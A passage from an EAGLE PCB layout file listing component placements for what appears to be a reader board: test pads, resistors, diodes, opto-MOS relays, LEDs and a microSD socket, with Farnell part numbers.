x=\"94.2\" y=\"31.25\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"94.362\" y=\"29.784\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP7\" library=\"testpad\" package=\"TP20R\" value=\"READER_DATA\" x=\"102\" y=\"5.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"102\" y=\"3.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"102\" y=\"5.7\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"101.45\" y=\"7\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n<attribute name=\"VALUE\" x=\"100.084\" y=\"5.238\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n</element>\n<element name=\"TP19\" library=\"testpad\" package=\"TP20R\" value=\"POWER_IN_5V0\" x=\"102.2\" y=\"64.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"102.2\" y=\"62.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"102.2\" y=\"64.7\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"103.9\" y=\"65.95\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"109.262\" y=\"62.084\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP17\" library=\"testpad\" package=\"TP20R\" value=\"PGC2\" x=\"5.7\" y=\"45.1\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"5.7\" y=\"42.56\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"5.7\" y=\"45.1\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"9.7\" y=\"45.55\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"9.862\" y=\"44.484\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP16\" library=\"testpad\" package=\"TP20R\" value=\"PGD2\" x=\"7.2\" y=\"50.4\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"7.2\" y=\"47.86\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"7.2\" y=\"50.4\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"11.5\" y=\"50.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"11.462\" y=\"49.584\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP13\" library=\"testpad\" package=\"TP20R\" value=\"!MCLR\" x=\"4.9\" y=\"63.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"4.9\" y=\"61.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"4.9\" y=\"63.7\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"9.1\" y=\"64.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"9.262\" y=\"63.184\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP15\" library=\"testpad\" package=\"TP20R\" value=\"GND\" x=\"9.5\" y=\"55.9\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"9.5\" y=\"53.36\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"9.5\" y=\"55.9\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"13.5\" y=\"56.45\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"12.962\" y=\"55.284\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP14\" library=\"testpad\" package=\"TP20R\" value=\"3V3\" x=\"8.9\" y=\"61\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"8.9\" y=\"58.46\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"8.9\" y=\"61\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"7.7\" y=\"60.85\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"7.462\" y=\"59.684\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"R6\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"18.6\" y=\"23.3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"18.6\" y=\"23.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"18.6\" y=\"23.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"18.6\" y=\"23.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"18.6\" y=\"23.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"18.6\" y=\"23.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"16.789\" y=\"23.711\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"19.789\" y=\"22.532\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"D6\" library=\"1FAB\" package=\"SOT663\" value=\"BZB984-C3V0\" x=\"19.8\" y=\"18.4\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"VALUE\" x=\"13.903\" y=\"19.878\" size=\"0.8128\" layer=\"27\" ratio=\"15\"/>\n<attribute name=\"NAME\" x=\"16.503\" y=\"17.902\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"8735310\" x=\"19.8\" y=\"18.4\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R18\" library=\"resistor\" package=\"R0603\" value=\"470\" x=\"12.1\" y=\"19.9\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"12.1\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"12.1\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2333530\" x=\"12.1\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"12.1\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"12.1\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"12.989\" y=\"19.011\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"12.989\" y=\"21.932\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"OPTO_MOS1\" library=\"1FAB\" package=\"CPC1008N\" value=\"CPC1008N\" x=\"15.98\" y=\"27.35\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"19.08\" y=\"25.44\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"13.26\" y=\"27.32\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"1653755\" x=\"15.98\" y=\"27.35\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"TUNE\" library=\"SparkFun 26-2-11\" package=\"1X02_LOCK_LONGPADS\" value=\"\" x=\"7.3\" y=\"9.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"7.3\" y=\"9.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"7.3\" y=\"9.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"7.3\" y=\"9.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"7.3\" y=\"9.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"7.3\" y=\"9.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"7.3\" y=\"9.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"7.722\" y=\"4.73\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"10.602\" y=\"7.83\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R90\"/>\n</element>\n<element name=\"TP12\" library=\"testpad\" package=\"TP20R\" value=\"COIL_A\" x=\"2\" y=\"20\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"2\" y=\"17.46\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"5.1\" y=\"22.45\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"5.062\" y=\"21.384\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"2\" y=\"20\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP5\" library=\"testpad\" package=\"TP20R\" value=\"COIL_B\" x=\"2\" y=\"13.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"2\" y=\"10.76\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"5.1\" y=\"11.95\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"5.162\" y=\"10.784\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"2\" y=\"13.3\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"R20\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"89.3\" y=\"59.6\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"89.3\" y=\"59.6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"89.3\" y=\"59.6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"89.3\" y=\"59.6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"89.3\" y=\"59.6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"89.3\" y=\"59.6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"88.511\" y=\"58.611\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"90.932\" y=\"58.511\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n</element>\n<element name=\"LED2\" library=\"SparkFun\" package=\"LED-0603\" value=\"ERROR red\" x=\"84.8\" y=\"59.6\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"81.9\" y=\"62.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"81.9\" y=\"62.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2099221\" x=\"81.9\" y=\"62.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"81.9\" y=\"62.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"81.9\" y=\"62.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"87.1015\" y=\"58.211\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"86.1795\" y=\"57.784\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n</element>\n<element name=\"R32\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"96.1\" y=\"41.1\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"106.4\" y=\"41.1\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"106.4\" y=\"41.1\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9332014\" x=\"106.4\" y=\"41.1\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"106.4\" y=\"41.1\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"106.4\" y=\"41.1\" size=\"0.8128\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"96.989\" y=\"40.211\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n<attribute name=\"VALUE\" x=\"98.168\" y=\"40.111\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"96.1\" y=\"41.1\" size=\"1.778\" layer=\"28\" rot=\"MR90\" display=\"off\"/>\n</element>\n<element name=\"OPTO_MOS2\" library=\"1FAB\" package=\"CPC1008N\" value=\"CPC1008N\" x=\"104.7\" y=\"41\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"108.465\" y=\"38.37\" size=\"0.8128\" layer=\"22\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"108.2\" y=\"37.155\" size=\"0.8128\" layer=\"22\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"XFARNELL\" value=\"1653755\" x=\"104.7\" y=\"41\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"104.7\" y=\"41\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"JP17\" library=\"SparkFun-Connectors\" package=\"1X02_LOCK_LONGPADS\" value=\"\" x=\"106.8\" y=\"30.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"108.578\" y=\"31.97\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"103.498\" y=\"31.97\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"106.8\" y=\"30.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"JP1\" library=\"SparkFun-Connectors\" package=\"1X03_LOCK_LONGPADS\" value=\"\" x=\"106.8\" y=\"20\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"109.522\" y=\"19.03\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"110.102\" y=\"18.73\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"106.8\" y=\"20\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"USD_1\" library=\"1FAB\" package=\"MICROSD_TE2201778-1_FARN-234-5280\" value=\"MICROSD_TE2201778-1_FARN-234-5280\" x=\"102.2\" y=\"54.8\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"102.2\" y=\"54.8\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"2345280\" x=\"102.2\" y=\"54.8\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"R33\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"87.7\" y=\"49.2\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"87.7\" y=\"49.2\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"87.7\" y=\"49.2\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\" x=\"87.7\" y=\"49.2\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"87.7\" y=\"49.2\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"87.7\" y=\"49.2\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"86.611\" y=\"50.711\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"86.211\" y=\"48.332\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"87.7\" y=\"49.2\" size=\"1.778\" layer=\"28\" rot=\"MR180\" display=\"off\"/>\n</element>\n<element name=\"R34\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"87.7\" y=\"53.1\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"87.7\" y=\"53.1\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"87.7\" y=\"53.1\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\" x=\"87.7\" y=\"53.1\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"87.7\" y=\"53.1\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"87.7\" y=\"53.1\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"86.711\" y=\"54.711\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"86.611\" y=\"52.332\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"87.7\" y=\"53.1\" size=\"1.778\" layer=\"28\" rot=\"MR180\" display=\"off\"/>\n</element>\n<element name=\"R35\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"87.8\" y=\"56.9\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"87.8\" y=\"56.9\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"87.8\" y=\"56.9\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\" x=\"87.8\" y=\"56.9\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"87.8\" y=\"56.9\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"87.8\" y=\"56.9\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"86.611\" y=\"58.511\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"87.011\" y=\"56.232\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"87.8\" y=\"56.9\" size=\"1.778\" layer=\"28\" rot=\"MR180\" display=\"off\"/>\n</element>\n<element name=\"C17\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"96.8\" y=\"56.1\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"96.8\" y=\"56.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"96.8\" y=\"56.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"2332586\" x=\"96.8\" y=\"56.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"96.8\" y=\"56.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"96.8\" y=\"56.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"95.911\" y=\"56.862\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"98.689\" y=\"55.232\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"96.8\" y=\"56.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"R36\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"85.8\" y=\"59.8\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"85.8\" y=\"59.8\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"85.8\" y=\"59.8\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\" x=\"85.8\" y=\"59.8\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"85.8\" y=\"59.8\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"85.8\" y=\"59.8\" size=\"1.778\" layer=\"28\" ratio=\"15\" rot=\"MR90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"86.489\" y=\"59.111\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n<attribute name=\"VALUE\" x=\"84.268\" y=\"59.011\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"85.8\" y=\"59.8\" size=\"1.778\" layer=\"28\" rot=\"MR90\" display=\"off\"/>\n</element>\n<element name=\"D5\" library=\"1FAB\" package=\"SOT663\" value=\"BZB984-C3V0\" x=\"41.3\" y=\"11.3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"VALUE\" x=\"36.603\" y=\"14.278\" size=\"0.8128\" layer=\"27\" ratio=\"15\"/>\n<attribute name=\"NAME\" x=\"42.603\" y=\"10.902\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"8735310\" x=\"41.3\" y=\"11.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R17\" library=\"resistor\" package=\"R0603\" value=\"470\" x=\"36.8\" y=\"10.9\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"36.8\" y=\"10.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"36.8\" y=\"10.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2333530\" x=\"36.8\" y=\"10.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"36.8\" y=\"10.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"36.8\" y=\"10.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"38.389\" y=\"12.511\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"37.889\" y=\"10.032\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"J1\" library=\"SparkFun-Passives\" package=\"SJ_2S-TRACE\" value=\"CUT TO USE RF1\" x=\"48.6\" y=\"73.5\" 